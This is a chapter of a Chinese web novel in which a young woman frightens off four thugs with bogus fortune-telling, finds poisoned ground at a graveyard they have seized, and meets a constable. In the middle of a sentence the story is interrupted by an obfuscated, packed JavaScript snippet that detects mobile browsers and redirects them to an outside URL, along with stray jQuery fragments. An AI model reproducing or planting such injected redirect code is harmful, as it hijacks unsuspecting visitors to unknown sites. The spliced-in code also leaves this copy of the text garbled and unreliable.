4. 第 4 章

作品:《强娶落魄太子后跑路了

    “我观你额前发黑,山根赤丝缠目,三日之内,必有血光之灾。这灾祸……应在你强占的东南方向那片坟地上。”


    她语气笃定,仿佛在陈述一个既定事实。“你近日是否常感心悸多梦,左臂酸麻无力?”


    “你他娘的咒我?小妮子活得不耐烦了?”那地头蛇有些恼羞成怒,却并没有真把拳头砸下去。


    在地头蛇脸色变化之际,风临继续道:“我在此摆摊,只为积德行善,化解此地方圆十里的一桩旧怨。你今日阻我,便是阻了此地的运势。你若不信,尽管试试。”


    “你……”


    地头蛇曾大壮见她说得振振有词,心中底气没了几分。但他又不能就这么走了。笑话,他一个大老爷们儿,还能被一个初来乍到的小姑娘给吓唬住?但他仔细想想,这丫头说的未免又太巧了,近日来他真的如她所说的那样,晚上心突突的跳又睡不着觉,白日里左边胳膊还使不上劲。


    “放什么屁?摆摊就摆摊,就是敲诈勒索,还说什么为此地集福消灾?我呸!真会为自己脸上贴金!”罗大强是个火爆脾气,也没想那么多,直接开骂了。他们自己就是骗子,还会被这事给唬住不成?


    郑大勇和易大志没有说话,直接将拳头砸到了风临的摊子上。他们拳头力气大,摊子上的东西都被震得一颤,还有几样小玩意掉到了地上,发出清脆的响声。周围的小商贩也被他们吓得收拾东西跑了,生怕惹上麻烦。


    风临却没有要离开的意思,她反倒走出了自己的摊子,离这几个壮汉更近了。郑大勇和易大志没想到她不怕自己,将眼睛瞪得更大,脸也拉得更长。


    风临的目光扫过四人,最后把目光落到郑大勇身上,不急不恼道:“你尝尝耳鸣如蝉,烦躁不已,对吗?”


    郑大勇惊诧道:“你……”


    “我如何知道?”风临接了他的话,却没有回答,只是轻笑了一下,又看着易大志道,“你夜里多梦,睡不好觉。”


    没想到被她说中了,几人皆是一惊。


    风临随手拿起了自己摊子上的一把伞,递给了距离她最近的那位:“此伞名为除煞,送给你们,能暂时除去你们身上的煞气,也能缓解你们的症状。若再纠缠,那就看看谁先倒大霉吧。”


    “行。我们走。”此女非善类,曾大壮不想再和她纠缠。


    “老大?你做什么?我们为什么要走?你还真被这死丫头给唬住了?”罗大强面露不解。刚刚这女子说的不都是胡扯吗?兄弟们平时生龙活虎的,哪来这些病?


    曾大壮并不想让兄弟们知道自己的事,只是板着一张脸说:“走了走了,别让别人觉着我们欺负外地人。”不知道这女子是什么来头,也罢,他就让她一次。而且,区区一个外地人,就算除了他们四个,还有各种各样的事让她留不下来,等过段时日,此女子便会自行离去。


    罗大强还想说什么,却被郑大勇和易大志堵着嘴拖走了。罗大志嘟囔着叫嚷:“你们一个二个做什么?让我给这个死丫头一点教训,让她还敢不敢占我们的地盘……”


    风临松了一口气。这些人总算走了。方才那群人朝着她这个方向走时,她就料到他们会来找自己的麻烦。幸好在匆匆一撇间,她便把这几个人的性子猜了个七八分,也知道谁是头头。


    她之前读过《民宿医方杂记》,里面记载有“地痞常患五劳七伤”的知识。方才曾大壮不自觉地揉着左肩,除去习惯性动作外,更可能是左肩疼痛。


    郑大勇听她们说话时总是做出一副竖起耳朵的样子,看来是耳朵不太好使。而易大志,那副要死不活总打哈欠的样子,她再熟悉不过了,是熬夜过度造成的。


    而那坟地,这几日她也听了街坊领居聊天,知道这四人是此处的四害,前些日子去东南方向占了坟地,不知道要做什么。


    但古人总对鬼神有敬畏之心,扯到这上面也能将他们唬住。


    只是这人都被他们给吓跑了,今日她也卖不了东西,还赔了一把伞。


    真是晦气!


    她在江南呆惯了,日子过得舒舒服服的,结果现在因着那个骗子皇子,落得个流落他乡的地步。


    “这好色的毛病真是得改改!”风临叹了口气,一边收拾摊子一边心疼自己的那把伞。虽说这伞不是什么值钱的东西,但也是她亲手做的。本想着可以卖给姑娘们,她们爱惜物件,定能用上许久,可惜给了几个大汉,不知道能不能撑到明日。


    对了,风临又想到东南方的那片坟地。刚刚她说的都是吓唬人的,什么煞气也是无稽之谈。


    她又想到的是,《民俗医方杂记》里好像提到过“非常之地生非常之药”。现在天色尚早,反正今日不能正常营生,那不如她去那边找找能不能挖到什么稀有或者值钱的草药?


    这也能弥补一下她的损失。


    这样想着,她便三两下拿好东西,推着自制的简易小推车回去了。她换了一身粗布短衣,拿着小锄头和篮子,朝着东南方的坟地走去。


    山路并不好走,这几日气温有所上升,山上的积雪消融了些,但路上流着雪水,淅淅沥沥地并不好走。风临走走停停,四处刨刨,并未发现有什么草药。


    她有些懊悔,这般寒冷日子,珍贵的草药哪有那么好找?还不如在家烤烤火,偏要出来遭这罪。


    正懊恼间,她发现远处的斜坡上有一堆毛茸茸的东西。


    风临小心翼翼地走过去,靠近一看。这是绵茵陈。此物有清热利湿、防治黄疸的作用,算是不可多得的好草药。风临嘴角上扬,想着今日总算是没有白忙,立刻就动手把草药挖了来,放在篮子里。


    留了些幼苗继续生长,她擦了擦汗,起身提着篮子,拿着小锄头走了。


    下山时,她换了一处近路,正好碰见了些坟地。


    这些坟地估计就是四大害抢占的了。她无意与他们纠缠,避过坟地快步要离开。可她余光中似


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16974408|193492||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    乎看到了点东西,有些不对劲。


    鬼斧神差地,她走了过去。


    她看见,在一片被踩踏凌乱的坟头土上,竟生长着一簇簇颜色妖异、形状如同鬼爪的暗紫色蘑菇。而周围的草木却呈现病态的枯黄。更奇怪的是,地上有零星死去的乌鸦——在民俗中,乌鸦是食腐动物,连它们都能毒死,此地必有大凶。


    四大害在这里到底做了什么?风临蹙眉,用锄头抛了下蘑菇旁边的土地。土的颜色和旁处不同,像是被什么污染了。风临又看着那坟头,凌乱不已,应当是被四大害给刨过。


    莫不是这坟里埋了什么东西,那东西含有毒性,污染了这里的土地?


    风临正要往里望去,却听见背后传来一句:“你在这里做什么?”


    她被吓了一跳,差点没拿稳手里的草药和锄头。惊出了一身冷汗,她不敢回头去。


    那人像是没了气性,就要上手拉她回头,但风临察觉到这一意图,就主动转过身来。


    这是张陌生的脸,看起来毫无记忆点,应当是书中的一个路人。


    此时,这位路人打量着风临道:“你是?”


    风临急道:“我路过此地,看着这里有蘑菇,就过来看看。”


    “你来这里采蘑菇?这可是四大害的地盘。”那人更是觉着怪异。


    “我是新来的,不知道这里是他们的地方。”风临面不红心不跳地撒谎道。


    “原来如此。那你以后别来了,四大害可不好惹。这本来是一堆旧坟地,如今是官府的。可四大害说要抢就抢了,你说吓不吓人?我们都不敢和他们对上,你一个小姑娘,还说是外地来的,就更要记住,多一件事不如少一件事。”


    “我知道了,谢谢。”风临道。


    那人见小姑娘乖乖巧巧的,又心中多了几分攀谈之意,问:“我叫冯清,是一个衙役,也算是官府里的人。今日遇见你也是有缘,要是你以后需要帮忙,可以来衙门找我。你叫什么名字?”


    风临道:“我叫风临。”所幸先前在江南她都是以风盈这个名字示人,如今因着她那个便宜前夫的缘故用不了风盈这个名字,反倒能用上真名了。


    “这名字,不像是女子该用的。”那人蹙眉,觉着这样娇滴滴的女子应当用“娇娇”之类的名字。


    风临翻了个白眼,没好气道:“你这名字也不像是一个衙役该用的。”他攻击她的性别,那她就攻击他的职业,都别想好过。


    那人却笑了:“是,你说得对。”


    风临道:“快走吧,你不是说这里是四大害的地盘吗?再待下去不好。”她说完就走了,没分给此人一个眼神。


    可那人却看着她的背影站了许久。


    风临心中仍然萦绕着刚刚的蘑菇的事情。


    古代没有近现代的化工混合物以及废弃物,正常来讲不会有那种程度的污染,竟然将乌鸦给毒死了。


    那坟地里到底有什么?